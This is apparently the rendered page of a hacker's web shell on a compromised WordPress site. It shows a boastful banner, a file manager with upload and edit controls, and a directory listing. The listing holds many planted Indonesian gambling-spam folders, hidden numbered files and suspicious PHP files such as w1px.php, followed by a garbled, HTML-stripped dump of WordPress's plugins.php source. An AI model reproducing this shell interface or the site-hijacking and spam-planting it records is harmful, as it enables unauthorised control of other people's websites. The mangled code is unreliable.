ÿØÿÛ C   iamH4CKEERRRRRRRRRRRS

I am a hacker in the dark of a very cold night

path :/home/www/kinleysgarage.co.uk

upload file:

List of files:

name file size edit permission action
.174556051680 KBApril 25 2025 05:55:160644
.174556504080 KBApril 25 2025 07:10:400644
.174556865680 KBApril 25 2025 08:10:560644
.174557227780 KBApril 25 2025 09:11:170644
.174557589980 KBApril 25 2025 10:11:390644
.174557951480 KBApril 25 2025 11:11:540644
.174558313380 KBApril 25 2025 12:12:130644
.174558675980 KBApril 25 2025 13:12:390644
.174559038780 KBApril 25 2025 14:13:070644
.174559400480 KBApril 25 2025 15:13:240644
.174559595880 KBApril 25 2025 15:45:580644
.174559608080 KBApril 25 2025 15:48:000644
.174559632280 KBApril 25 2025 15:52:020644
.174559641580 KBApril 25 2025 15:53:350644
.174559762580 KBApril 25 2025 16:13:450644
.174562477580 KBApril 25 2025 23:46:150644
.174562619280 KBApril 26 2025 00:09:520644
.174562657680 KBApril 26 2025 00:16:160644
.174563019180 KBApril 26 2025 01:16:310644
.174563380880 KBApril 26 2025 02:16:480644
.174563743180 KBApril 26 2025 03:17:110644
.174563920080 KBApril 26 2025 03:46:400644
.174563976480 KBApril 26 2025 03:56:040644
.174564012680 KBApril 26 2025 04:02:060644
.174564194080 KBApril 26 2025 04:32:200644
.174564646380 KBApril 26 2025 05:47:430644
.174565008080 KBApril 26 2025 06:48:000644
.174565369580 KBApril 26 2025 07:48:150644
.174565730880 KBApril 26 2025 08:48:280644
.174566092480 KBApril 26 2025 09:48:440644
.174566455080 KBApril 26 2025 10:49:100644
.174566816580 KBApril 26 2025 11:49:250644
.174567166180 KBApril 26 2025 12:47:410644
.174567178080 KBApril 26 2025 12:49:400644
.174567385180 KBApril 26 2025 13:24:110644
.174567452780 KBApril 26 2025 13:35:270644
.174567539580 KBApril 26 2025 13:49:550644
.174567901480 KBApril 26 2025 14:50:140644
.174568247080 KBApril 26 2025 15:47:500644
.174568353280 KBApril 26 2025 16:05:320644
.174568804680 KBApril 26 2025 17:20:460644
.174569166780 KBApril 26 2025 18:21:070644
.174569617780 KBApril 26 2025 19:36:170644
.174569911080 KBApril 26 2025 20:25:100644
.174569966680 KBApril 26 2025 20:34:260644
.174569979180 KBApril 26 2025 20:36:310644
.174570340580 KBApril 26 2025 21:36:450644
.174570702280 KBApril 26 2025 22:37:020644
.174571153780 KBApril 26 2025 23:52:170644
.174571515780 KBApril 27 2025 00:52:370644
.174571877280 KBApril 27 2025 01:52:520644
.174572240480 KBApril 27 2025 02:53:240644
.174572574980 KBApril 27 2025 03:49:090644
.174572692680 KBApril 27 2025 04:08:460644
.174573054680 KBApril 27 2025 05:09:060644
.174573416280 KBApril 27 2025 06:09:220644
.174573867780 KBApril 27 2025 07:24:370644
.174574229080 KBApril 27 2025 08:24:500644
.174574680180 KBApril 27 2025 09:40:010644
.174575131280 KBApril 27 2025 10:55:120644
.174575492780 KBApril 27 2025 11:55:270644
.174575854780 KBApril 27 2025 12:55:470644
.174576216980 KBApril 27 2025 13:56:090644
.174576578680 KBApril 27 2025 14:56:260644
.174576901980 KBApril 27 2025 15:50:190644
.174576940080 KBApril 27 2025 15:56:400644
.174577301580 KBApril 27 2025 16:56:550644
.174577517880 KBApril 27 2025 17:32:580644
.174577591680 KBApril 27 2025 17:45:160644
.174577650480 KBApril 27 2025 17:55:040644
.174577650780 KBApril 27 2025 17:55:070644
.174577752780 KBApril 27 2025 18:12:070644
.174578204380 KBApril 27 2025 19:27:230644
.174578654880 KBApril 27 2025 20:42:280644
.174579105680 KBApril 27 2025 21:57:360644
.174579467580 KBApril 27 2025 22:57:550644
.174579828880 KBApril 27 2025 23:58:080644
.174580191180 KBApril 28 2025 00:58:310644
.174580552580 KBApril 28 2025 01:58:450644
.174580914280 KBApril 28 2025 02:59:020644
.174581227680 KBApril 28 2025 03:51:160644
.174581275680 KBApril 28 2025 03:59:160644
.174581637180 KBApril 28 2025 04:59:310644
.174582088380 KBApril 28 2025 06:14:430644
.174582450580 KBApril 28 2025 07:15:050644
.174582902580 KBApril 28 2025 08:30:250644
.174583264680 KBApril 28 2025 09:30:460644
.174583627480 KBApril 28 2025 10:31:140644
.174583990080 KBApril 28 2025 11:31:400644
.174584352680 KBApril 28 2025 12:32:060644
.174584714780 KBApril 28 2025 13:32:270644
.174585077080 KBApril 28 2025 14:32:500644
.174585438780 KBApril 28 2025 15:33:070644
.174585800780 KBApril 28 2025 16:33:270644
.174586163180 KBApril 28 2025 17:33:510644
.174586525380 KBApril 28 2025 18:34:130644
.174586887380 KBApril 28 2025 19:34:330644
.174587248880 KBApril 28 2025 20:34:480644
.174587536580 KBApril 28 2025 21:22:450644
.174587610480 KBApril 28 2025 21:35:040644
.174587689880 KBApril 28 2025 21:48:180644
.174587972780 KBApril 28 2025 22:35:270644
.174588334780 KBApril 28 2025 23:35:470644
.174588697880 KBApril 29 2025 00:36:180644
.174589060980 KBApril 29 2025 01:36:490644
.174589422680 KBApril 29 2025 02:37:060644
.174589874780 KBApril 29 2025 03:52:270644
.174590144580 KBApril 29 2025 04:37:250644
.174590237380 KBApril 29 2025 04:52:530644
.174590599980 KBApril 29 2025 05:53:190644
.174590962880 KBApril 29 2025 06:53:480644
.174591325380 KBApril 29 2025 07:54:130644
.174591776480 KBApril 29 2025 09:09:240644
.174592138680 KBApril 29 2025 10:09:460644
.174592590580 KBApril 29 2025 11:25:050644
.174592951980 KBApril 29 2025 12:25:190644
.174593124380 KBApril 29 2025 12:54:030644
.174593402880 KBApril 29 2025 13:40:280644
.174593764880 KBApril 29 2025 14:40:480644
.174594215980 KBApril 29 2025 15:55:590644
.174594577580 KBApril 29 2025 16:56:150644
.174595028780 KBApril 29 2025 18:11:270644
.174595261380 KBApril 29 2025 18:50:130644
.174595480480 KBApril 29 2025 19:26:440644
.174595931480 KBApril 29 2025 20:41:540644
.174596293280 KBApril 29 2025 21:42:120644
.174596654580 KBApril 29 2025 22:42:250644
.htaccess243 KBApril 07 2026 03:59:080644
.htacl92 KBMarch 29 2026 20:14:080644
.lock756 KBApril 24 2025 17:50:490644
.multi0 KBApril 25 2025 15:47:560644
.tmb-April 08 2025 21:25:540777
Agen-Mix-Parlay-April 29 2025 13:00:480755
Agen-Sbobet-May 01 2025 15:08:140755
Agen-Slot-Gacor-April 25 2025 15:53:060755
Alternatif-Casino-April 18 2025 14:04:530755
Alternatif-Judi-Bola-May 09 2025 02:01:510755
Alternatif-Mix-Parlay-April 27 2025 03:58:110755
Alternatif-Sbobet-April 18 2025 14:04:530755
Alternatif-Slot-April 28 2025 03:57:420755
Casino-April 18 2025 14:04:530755
Daftar-Mix-Parlay-April 18 2025 14:04:530755
Daftar-Sbobet-April 18 2025 14:04:530755
Judi-Bola-April 26 2025 03:54:120755
Judi-Casino-April 25 2025 03:57:400755
Link-Casino-April 18 2025 14:04:530755
Link-Judi-Resmi-April 18 2025 14:04:530755
Link-Mix-Parlay-April 18 2025 14:04:530755
Link-Sbobet-April 18 2025 14:04:530755
Link-Sbobet88-April 18 2025 14:04:530755
Link-Slot-April 26 2025 15:54:540755
Live-Casino-April 18 2025 14:04:530755
Mix-Parlay-April 26 2025 03:54:150755
Mix-Parlay-Online-May 08 2025 19:04:470755
Mix-Parlay-Resmi-May 09 2025 02:03:020755
Piala-Dunia-2026-April 18 2025 14:04:530755
RTP-Slot-April 18 2025 14:04:530755
Sbobet-April 25 2025 15:53:090755
Sbobet-Online-April 18 2025 14:04:530755
Sbobet-Resmi-April 18 2025 14:04:530755
Sbobet88-April 18 2025 14:04:530755
Situs-Mix-Parlay-April 18 2025 14:04:530755
Situs-Sbobet-April 24 2025 07:51:250755
Situs-Sbobet88-April 18 2025 14:04:530755
Situs-Slot-April 18 2025 14:04:530755
Slot-Gacor-April 18 2025 14:04:530755
Slot-Gacor-Online-April 18 2025 14:04:530755
Slot-Maxwin-April 18 2025 14:04:530755
Slot-Online-April 18 2025 14:04:530755
Slot-Resmi-April 18 2025 14:04:530755
Taruhan-Judi-Bola-April 18 2025 14:04:530755
Taruhan-Mix-Parlay-April 18 2025 14:04:530755
Taruhan-Sbobet-April 18 2025 14:04:530755
core11759616 KBApril 29 2025 12:54:310600
license.txt19915 KBDecember 31 2023 18:02:200644
readme.html7409 KBJune 18 2024 05:59:140644
robots.txt93 KBApril 17 2025 06:39:580644
sitemap.xml7885 KBApril 17 2025 06:39:580644
w1px.php26454 KBMarch 16 2026 11:38:180644
wp-activate.php7387 KBFebruary 13 2024 08:19:100644
wp-admin-April 23 2025 17:29:530755
wp-blog-header.php351 KBMay 01 2025 14:59:240644
wp-comments-post.php2323 KBJune 14 2023 08:11:160644
wp-config-sample.php3336 KBOctober 15 2024 09:24:180644
wp-config.php3177 KBMay 07 2025 13:18:170644
wp-content-April 14 2025 13:14:490755
wp-cron.php5617 KBApril 29 2025 12:54:280644
wp-includes-April 07 2026 03:57:150755
wp-links-opml.php2502 KBNovember 26 2022 15:01:180644
wp-load.php14301 KBMay 08 2025 13:19:240644
wp-login-css.php265113 KBApril 23 2025 15:28:260644
wp-login.php51611 KBSeptember 30 2024 13:12:140644
wp-mail.php8543 KBSeptember 18 2024 16:37:160644
wp-settings.php29032 KBMay 07 2025 13:21:110644
wp-signup.php34385 KBJune 19 2023 12:27:280644
wp-trackback.php5102 KBOctober 18 2024 09:56:180644
xmlrpc.php3246 KBMarch 02 2024 07:49:060644
get_pagenum(); $action = $wp_list_table->current_action(); $plugin = isset( $_REQUEST['plugin'] ) ? wp_unslash( $_REQUEST['plugin'] ) : ''; $s = isset( $_REQUEST['s'] ) ? urlencode( wp_unslash( $_REQUEST['s'] ) ) : ''; // Clean up request URI from temporary args for screen options/paging uri's to work as expected. $query_args_to_remove = array( 'error', 'deleted', 'activate', 'activate-multi', 'deactivate', 'deactivate-multi', 'enabled-auto-update', 'disabled-auto-update', 'enabled-auto-update-multi', 'disabled-auto-update-multi', '_error_nonce', ); $_SERVER['REQUEST_URI'] = remove_query_arg( $query_args_to_remove, $_SERVER['REQUEST_URI'] ); wp_enqueue_script( 'updates' ); WP_Plugin_Dependencies::initialize(); if ( $action ) { switch ( $action ) { case 'activate': if ( ! current_user_can( 'activate_plugin', $plugin ) ) { wp_die( __( 'Sorry, you are not allowed to activate this plugin.' ) ); } if ( is_multisite() && ! is_network_admin() && is_network_only_plugin( $plugin ) ) { wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) ); exit; } check_admin_referer( 'activate-plugin_' . $plugin ); $result = activate_plugin( $plugin, self_admin_url( 'plugins.php?error=true&plugin=' . urlencode( $plugin ) ), is_network_admin() ); if ( is_wp_error( $result ) ) { if ( 'unexpected_output' === $result->get_error_code() ) { $redirect = self_admin_url( 'plugins.php?error=true&charsout=' . strlen( $result->get_error_data() ) . '&plugin=' . urlencode( $plugin ) . "&plugin_status=$status&paged=$page&s=$s" ); wp_redirect( add_query_arg( '_error_nonce', wp_create_nonce( 'plugin-activation-error_' . $plugin ), $redirect ) ); exit; } else { wp_die( $result ); } } if ( ! is_network_admin() ) { $recent = (array) get_option( 'recently_activated' ); unset( $recent[ $plugin ] ); update_option( 'recently_activated', $recent, false ); } else { $recent = (array) get_site_option( 'recently_activated' ); unset( $recent[ $plugin ] ); update_site_option( 'recently_activated', $recent ); } if ( isset( $_GET['from'] ) && 'import' === $_GET['from'] ) { // Overrides the ?error=true one above and redirects to the Imports page, stripping the -importer suffix. wp_redirect( self_admin_url( 'import.php?import=' . str_replace( '-importer', '', dirname( $plugin ) ) ) ); } elseif ( isset( $_GET['from'] ) && 'press-this' === $_GET['from'] ) { wp_redirect( self_admin_url( 'press-this.php' ) ); } else { // Overrides the ?error=true one above. wp_redirect( self_admin_url( "plugins.php?activate=true&plugin_status=$status&paged=$page&s=$s" ) ); } exit; case 'activate-selected': if ( ! current_user_can( 'activate_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to activate plugins for this site.' ) ); } check_admin_referer( 'bulk-plugins' ); $plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array(); if ( is_network_admin() ) { foreach ( $plugins as $i => $plugin ) { // Only activate plugins which are not already network activated. if ( is_plugin_active_for_network( $plugin ) ) { unset( $plugins[ $i ] ); } } } else { foreach ( $plugins as $i => $plugin ) { // Only activate plugins which are not already active and are not network-only when on Multisite. if ( is_plugin_active( $plugin ) || ( is_multisite() && is_network_only_plugin( $plugin ) ) ) { unset( $plugins[ $i ] ); } // Only activate plugins which the user can activate. if ( ! current_user_can( 'activate_plugin', $plugin ) ) { unset( $plugins[ $i ] ); } } } if ( empty( $plugins ) ) { wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) ); exit; } activate_plugins( $plugins, self_admin_url( 'plugins.php?error=true' ), is_network_admin() ); if ( ! is_network_admin() ) { $recent = (array) get_option( 'recently_activated' ); } else { $recent = (array) get_site_option( 'recently_activated' ); } foreach ( $plugins as $plugin ) { unset( $recent[ $plugin ] ); } if ( ! is_network_admin() ) { update_option( 'recently_activated', $recent, false ); } else { update_site_option( 'recently_activated', $recent ); } wp_redirect( self_admin_url( "plugins.php?activate-multi=true&plugin_status=$status&paged=$page&s=$s" ) ); exit; case 'update-selected': check_admin_referer( 'bulk-plugins' ); if ( isset( $_GET['plugins'] ) ) { $plugins = explode( ',', wp_unslash( $_GET['plugins'] ) ); } elseif ( isset( $_POST['checked'] ) ) { $plugins = (array) wp_unslash( $_POST['checked'] ); } else { $plugins = array(); } // Used in the HTML title tag. $title = __( 'Update Plugins' ); $parent_file = 'plugins.php'; wp_enqueue_script( 'updates' ); require_once ABSPATH . 'wp-admin/admin-header.php'; echo '
'; echo '

' . esc_html( $title ) . '

'; $url = self_admin_url( 'update.php?action=update-selected&plugins=' . urlencode( implode( ',', $plugins ) ) ); $url = wp_nonce_url( $url, 'bulk-update-plugins' ); echo ""; echo '
'; require_once ABSPATH . 'wp-admin/admin-footer.php'; exit; case 'error_scrape': if ( ! current_user_can( 'activate_plugin', $plugin ) ) { wp_die( __( 'Sorry, you are not allowed to activate this plugin.' ) ); } check_admin_referer( 'plugin-activation-error_' . $plugin ); $valid = validate_plugin( $plugin ); if ( is_wp_error( $valid ) ) { wp_die( $valid ); } if ( ! WP_DEBUG ) { error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); } ini_set( 'display_errors', true ); // Ensure that fatal errors are displayed. // Go back to "sandbox" scope so we get the same errors as before. plugin_sandbox_scrape( $plugin ); /** This action is documented in wp-admin/includes/plugin.php */ do_action( "activate_{$plugin}" ); exit; case 'deactivate': if ( ! current_user_can( 'deactivate_plugin', $plugin ) ) { wp_die( __( 'Sorry, you are not allowed to deactivate this plugin.' ) ); } check_admin_referer( 'deactivate-plugin_' . $plugin ); if ( ! is_network_admin() && is_plugin_active_for_network( $plugin ) ) { wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) ); exit; } deactivate_plugins( $plugin, false, is_network_admin() ); if ( ! is_network_admin() ) { update_option( 'recently_activated', array( $plugin => time() ) + (array) get_option( 'recently_activated' ), false ); } else { update_site_option( 'recently_activated', array( $plugin => time() ) + (array) get_site_option( 'recently_activated' ) ); } if ( headers_sent() ) { echo ""; } else { wp_redirect( self_admin_url( "plugins.php?deactivate=true&plugin_status=$status&paged=$page&s=$s" ) ); } exit; case 'deactivate-selected': if ( ! current_user_can( 'deactivate_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to deactivate plugins for this site.' ) ); } check_admin_referer( 'bulk-plugins' ); $plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array(); // Do not deactivate plugins which are already deactivated. if ( is_network_admin() ) { $plugins = array_filter( $plugins, 'is_plugin_active_for_network' ); } else { $plugins = array_filter( $plugins, 'is_plugin_active' ); $plugins = array_diff( $plugins, array_filter( $plugins, 'is_plugin_active_for_network' ) ); foreach ( $plugins as $i => $plugin ) { // Only deactivate plugins which the user can deactivate. if ( ! current_user_can( 'deactivate_plugin', $plugin ) ) { unset( $plugins[ $i ] ); } } } if ( empty( $plugins ) ) { wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) ); exit; } deactivate_plugins( $plugins, false, is_network_admin() ); $deactivated = array(); foreach ( $plugins as $plugin ) { $deactivated[ $plugin ] = time(); } if ( ! is_network_admin() ) { update_option( 'recently_activated', $deactivated + (array) get_option( 'recently_activated' ), false ); } else { update_site_option( 'recently_activated', $deactivated + (array) get_site_option( 'recently_activated' ) ); } wp_redirect( self_admin_url( "plugins.php?deactivate-multi=true&plugin_status=$status&paged=$page&s=$s" ) ); exit; case 'delete-selected': if ( ! current_user_can( 'delete_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to delete plugins for this site.' ) ); } check_admin_referer( 'bulk-plugins' ); // $_POST = from the plugin form; $_GET = from the FTP details screen. $plugins = isset( $_REQUEST['checked'] ) ? (array) wp_unslash( $_REQUEST['checked'] ) : array(); if ( empty( $plugins ) ) { wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) ); exit; } $plugins = array_filter( $plugins, 'is_plugin_inactive' ); // Do not allow to delete activated plugins. if ( empty( $plugins ) ) { wp_redirect( self_admin_url( "plugins.php?error=true&main=true&plugin_status=$status&paged=$page&s=$s" ) ); exit; } // Bail on all if any paths are invalid. // validate_file() returns truthy for invalid files. $invalid_plugin_files = array_filter( $plugins, 'validate_file' ); if ( $invalid_plugin_files ) { wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) ); exit; } require ABSPATH . 'wp-admin/update.php'; $parent_file = 'plugins.php'; if ( ! isset( $_REQUEST['verify-delete'] ) ) { wp_enqueue_script( 'jquery' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>
$data ) { $plugin_info[ $plugin_file ] = _get_plugin_data_markup_translate( $plugin_file, $data ); $plugin_info[ $plugin_file ]['is_uninstallable'] = is_uninstallable_plugin( $plugin ); if ( ! $plugin_info[ $plugin_file ]['Network'] ) { $have_non_network_plugins = true; } } } } } $plugins_to_delete = count( $plugin_info ); ?>

' . __( 'Caution:' ) . ' ' . __( 'This plugin may be active on other sites in the network.' ); wp_admin_notice( $maybe_active_plugin, array( 'additional_classes' => array( 'error' ), ) ); endif; ?>

' . __( 'Caution:' ) . ' ' . __( 'These plugins may be active on other sites in the network.' ); wp_admin_notice( $maybe_active_plugins, array( 'additional_classes' => array( 'error' ), ) ); endif; ?>

'; } ?>
'true' ), $redirect ); } elseif ( 'disable-auto-update' === $action ) { $auto_updates = array_diff( $auto_updates, array( $plugin ) ); $redirect = add_query_arg( array( 'disabled-auto-update' => 'true' ), $redirect ); } else { $plugins = (array) wp_unslash( $_POST['checked'] ); if ( 'enable-auto-update-selected' === $action ) { $new_auto_updates = array_merge( $auto_updates, $plugins ); $new_auto_updates = array_unique( $new_auto_updates ); $query_args = array( 'enabled-auto-update-multi' => 'true' ); } else { $new_auto_updates = array_diff( $auto_updates, $plugins ); $query_args = array( 'disabled-auto-update-multi' => 'true' ); } // Return early if all selected plugins already have auto-updates enabled or disabled. // Must use non-strict comparison, so that array order is not treated as significant. if ( $new_auto_updates == $auto_updates ) { // phpcs:ignore Universal.Operators.StrictComparisons.LooseEqual wp_redirect( $redirect ); exit; } $auto_updates = $new_auto_updates; $redirect = add_query_arg( $query_args, $redirect ); } /** This filter is documented in wp-admin/includes/class-wp-plugins-list-table.php */ $all_items = apply_filters( 'all_plugins', get_plugins() ); // Remove plugins that don't exist or have been deleted since the option was last updated. $auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) ); update_site_option( 'auto_update_plugins', $auto_updates ); wp_redirect( $redirect ); exit; default: if ( isset( $_POST['checked'] ) ) { check_admin_referer( 'bulk-plugins' ); $screen = get_current_screen()->id; $sendback = wp_get_referer(); $plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array(); /** This action is documented in wp-admin/edit.php */ $sendback = apply_filters( "handle_bulk_actions-{$screen}", $sendback, $action, $plugins ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores wp_safe_redirect( $sendback ); exit; } break; } } $wp_list_table->prepare_items(); wp_enqueue_script( 'plugin-install' ); add_thickbox(); add_screen_option( 'per_page', array( 'default' => 999 ) ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'Plugins extend and expand the functionality of WordPress. Once a plugin is installed, you may activate it or deactivate it here.' ) . '

' . '

' . __( 'The search for installed plugins will search for terms in their name, description, or author.' ) . ' ' . __( 'The search results will be updated as you type.' ) . '

' . '

' . sprintf( /* translators: %s: WordPress Plugin Directory URL. */ __( 'If you would like to see more plugins to choose from, click on the “Add New Plugin” button and you will be able to browse or search for additional plugins from the WordPress Plugin Directory. Plugins in the WordPress Plugin Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they are free!' ), __( 'https://wordpress.org/plugins/' ) ) . '

', ) ); get_current_screen()->add_help_tab( array( 'id' => 'compatibility-problems', 'title' => __( 'Troubleshooting' ), 'content' => '

' . __( 'Most of the time, plugins play nicely with the core of WordPress and with other plugins. Sometimes, though, a plugin’s code will get in the way of another plugin, causing compatibility issues. If your site starts doing strange things, this may be the problem. Try deactivating all your plugins and re-activating them in various combinations until you isolate which one(s) caused the issue.' ) . '

' . '

' . sprintf( /* translators: %s: WP_PLUGIN_DIR constant value. */ __( 'If something goes wrong with a plugin and you cannot use WordPress, delete or rename that file in the %s directory and it will be automatically deactivated.' ), '' . WP_PLUGIN_DIR . '' ) . '

', ) ); $help_sidebar_autoupdates = ''; if ( current_user_can( 'update_plugins' ) && wp_is_auto_update_enabled_for_type( 'plugin' ) ) { get_current_screen()->add_help_tab( array( 'id' => 'plugins-themes-auto-updates', 'title' => __( 'Auto-updates' ), 'content' => '

' . __( 'Auto-updates can be enabled or disabled for each individual plugin. Plugins with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '

' . '

' . __( 'Auto-updates are only available for plugins recognized by WordPress.org, or that include a compatible update system.' ) . '

' . '

' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '

', ) ); $help_sidebar_autoupdates = '

' . __( 'Documentation on Auto-updates' ) . '

'; } if ( current_user_can( 'install_plugins' ) ) { get_current_screen()->add_help_tab( array( 'id' => 'plugins-dependencies', 'title' => __( 'Dependencies' ), 'content' => '

' . __( 'Plugin Dependencies aims to make the process of installing and activating add-ons (dependents) and the plugins they rely on (dependencies) consistent and easy.' ) . '

' . '

' . __( 'If a required plugin is deleted, a notice will be displayed on the Plugin administration screen informing the user that there is some missing dependencies to install and/or activate. Additionally, each plugin whose dependencies are not met will have an error notice on their plugin row.' ) . '

' . '

' . __( 'If a dependent plugin is missing some dependencies, its activation button will be disabled until the required dependencies are activated.' ) . '

', ) ); } get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Managing Plugins' ) . '

' . $help_sidebar_autoupdates . '

' . __( 'Support forums' ) . '

' ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter plugins list' ), 'heading_pagination' => __( 'Plugins list navigation' ), 'heading_list' => __( 'Plugins list' ), ) ); // Used in the HTML title tag. $title = __( 'Plugins' ); $parent_file = 'plugins.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; $invalid = validate_active_plugins(); if ( ! empty( $invalid ) ) { foreach ( $invalid as $plugin_file => $error ) { $deactivated_message = sprintf( /* translators: 1: Plugin file, 2: Error message. */ __( 'The plugin %1$s has been deactivated due to an error: %2$s' ), '' . esc_html( $plugin_file ) . '', esc_html( $error->get_error_message() ) ); wp_admin_notice( $deactivated_message, array( 'id' => 'message', 'additional_classes' => array( 'error' ), ) ); } } // Used by wp_admin_notice() updated notices. $updated_notice_args = array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ); if ( isset( $_GET['error'] ) ) { if ( isset( $_GET['main'] ) ) { $errmsg = __( 'You cannot delete a plugin while it is active on the main site.' ); } elseif ( isset( $_GET['charsout'] ) ) { $errmsg = sprintf( /* translators: %d: Number of characters. */ _n( 'The plugin generated %d character of unexpected output during activation.', 'The plugin generated %d characters of unexpected output during activation.', $_GET['charsout'] ), $_GET['charsout'] ); $errmsg .= ' ' . __( 'If you notice “headers already sent” messages, problems with syndication feeds or other issues, try deactivating or removing this plugin.' ); } elseif ( 'resuming' === $_GET['error'] ) { $errmsg = __( 'Plugin could not be resumed because it triggered a fatal error.' ); } else { $errmsg = __( 'Plugin could not be activated because it triggered a fatal error.' ); } if ( ! isset( $_GET['main'] ) && ! isset( $_GET['charsout'] ) && isset( $_GET['_error_nonce'] ) && wp_verify_nonce( $_GET['_error_nonce'], 'plugin-activation-error_' . $plugin ) ) { $iframe_url = add_query_arg( array( 'action' => 'error_scrape', 'plugin' => urlencode( $plugin ), '_wpnonce' => urlencode( $_GET['_error_nonce'] ), ), admin_url( 'plugins.php' ) ); $errmsg .= ''; } wp_admin_notice( $errmsg, array( 'id' => 'message', 'additional_classes' => array( 'error' ), ) ); } elseif ( isset( $_GET['deleted'] ) ) { $delete_result = get_option( 'plugins_delete_result_' . $user_ID ); // Delete it once we're done. delete_option( 'plugins_delete_result_' . $user_ID ); if ( is_wp_error( $delete_result ) ) { $plugin_not_deleted_message = sprintf( /* translators: %s: Error message. */ __( 'Plugin could not be deleted due to an error: %s' ), esc_html( $delete_result->get_error_message() ) ); wp_admin_notice( $plugin_not_deleted_message, array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { if ( 1 === (int) $_GET['deleted'] ) { $plugins_deleted_message = __( 'The selected plugin has been deleted.' ); } else { $plugins_deleted_message = __( 'The selected plugins have been deleted.' ); } wp_admin_notice( $plugins_deleted_message, $updated_notice_args ); } } elseif ( isset( $_GET['activate'] ) ) { wp_admin_notice( __( 'Plugin activated.' ), $updated_notice_args ); } elseif ( isset( $_GET['activate-multi'] ) ) { wp_admin_notice( __( 'Selected plugins activated.' ), $updated_notice_args ); } elseif ( isset( $_GET['deactivate'] ) ) { wp_admin_notice( __( 'Plugin deactivated.' ), $updated_notice_args ); } elseif ( isset( $_GET['deactivate-multi'] ) ) { wp_admin_notice( __( 'Selected plugins deactivated.' ), $updated_notice_args ); } elseif ( 'update-selected' === $action ) { wp_admin_notice( __( 'All selected plugins are up to date.' ), $updated_notice_args ); } elseif ( isset( $_GET['resume'] ) ) { wp_admin_notice( __( 'Plugin resumed.' ), $updated_notice_args ); } elseif ( isset( $_GET['enabled-auto-update'] ) ) { wp_admin_notice( __( 'Plugin will be auto-updated.' ), $updated_notice_args ); } elseif ( isset( $_GET['disabled-auto-update'] ) ) { wp_admin_notice( __( 'Plugin will no longer be auto-updated.' ), $updated_notice_args ); } elseif ( isset( $_GET['enabled-auto-update-multi'] ) ) { wp_admin_notice( __( 'Selected plugins will be auto-updated.' ), $updated_notice_args ); } elseif ( isset( $_GET['disabled-auto-update-multi'] ) ) { wp_admin_notice( __( 'Selected plugins will no longer be auto-updated.' ), $updated_notice_args ); } ?>

'; printf( /* translators: %s: Search query. */ __( 'Search results for: %s' ), '' . esc_html( urldecode( $s ) ) . '' ); echo ''; } ?>
views(); ?>
search_box( __( 'Search installed plugins' ), 'plugin' ); ?>
display(); ?>